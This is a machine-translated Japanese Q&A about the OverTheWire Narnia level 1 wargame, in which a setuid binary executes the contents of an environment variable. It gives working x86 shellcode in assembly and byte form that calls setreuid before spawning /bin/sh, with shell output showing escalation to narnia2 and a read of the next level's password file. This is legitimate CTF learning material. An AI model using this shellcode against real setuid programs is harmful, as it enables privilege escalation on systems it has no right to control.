(これは、Narniaと呼ばれるoverthewire.orgのウォーゲームでの挑戦に関する質問です)
これは、私が悪用しようとする脆弱なスクリプト「narnia1」のソースコードです。
#include <stdio.h>
int main(){
int (*ret)();
if(getenv("Egg")==NULL){
printf("Give me something to execute at the env-variable Egg\n");
exit(1);
}
printf("Trying to execute Egg!\n");
ret = getenv("Egg");
ret();
return 0;
}
したがって、基本的には環境変数「Egg」に格納されているものを実行します。
次に示すように、「Egg」をシェルコードに設定します。
export Egg=`python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'"`
/bin/sh
を実行します。
このファイルの所有者(narnia1)は、以下に示すように「narnia2」です。シェルが「narnia2」として実行されることを想定しています。
narnia1@narnia:/narnia$ ls -la
total 116
drwxr-xr-x 2 root root 4096 Nov 9 15:08 .
drwxr-xr-x 25 root root 4096 Mar 12 09:58 ..
-r-sr-x--- 1 narnia1 narnia0 7568 Nov 9 15:08 narnia0
-r--r----- 1 narnia0 narnia0 1186 Nov 9 15:08 narnia0.c
-r-sr-x--- 1 narnia2 narnia1 7404 Nov 9 15:08 narnia1
-r--r----- 1 narnia1 narnia1 1000 Nov 9 15:08 narnia1.c
...
しかし、これは私が得たものです:
narnia1@narnia:/narnia$ export Egg=`python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'"`
narnia1@narnia:/narnia$ ./narnia1
Trying to execute Egg!
$ whoami
narnia1
そして、なぜこれが私に「narnia2」ではなく「narnia1」としてシェルを与えるのか分かりません。
何か案が?
私はかなり長い間これに苦労し、結局オンラインで見つけたシェルコードの一部を変更する必要がありました。
;;; Corrected assembler, based on original from:-
;;; http://Shell-storm.org/shellcode/files/shellcode-399.php
BITS 32
Push byte 0x31
pop eax ; EAX = 0x31
xor edx, edx
int 0x80 ; geteuid();
mov ebx, eax ; result into both args of setreuid() call...
mov ecx, eax
Push byte 0x46 ;
pop eax ; EAX = 0x46
int 0x80 ; setreuid(geteuid(),geteuid());
mov al, 0xb ; execve syscall
Push edx ; Push \0 string terminator
Push 0x68732f6e ; hs/n
Push 0x69622f2f ; ib//
mov ebx, esp ; EBX -> "//bin/sh"
mov ecx, edx ; ECX = 0
int 0x80 ; execve(/bin/sh,0,0);
これがシェルコード文字列です:-
"\x6a\x31\x58\x31\xd2\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"
そしてここにそれを使用する方法があります:-
narnia1@narnia:/narnia$ export Egg=`python -c 'print "\x6a\x31\x58\x31\xd2\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"'`
narnia1@narnia:/narnia$ ./narnia1
Trying to execute Egg!
$ whoami
narnia2
$ cat /etc/narnia_pass/narnia2
******* (the password)
プログラムを悪用するためにnc/sshを実行するCTFでは、バイナリがsetuidであることが一般的です。
したがって、user1として接続できますが、フラグはuser2に属しています。 setuid、binaryを利用すると、フラグを読み取ることができるuser2になります。
環境をだましたり損傷したりすることなく、ユーザーがログインしてデータを悪用できる環境を作成することは簡単ではありません。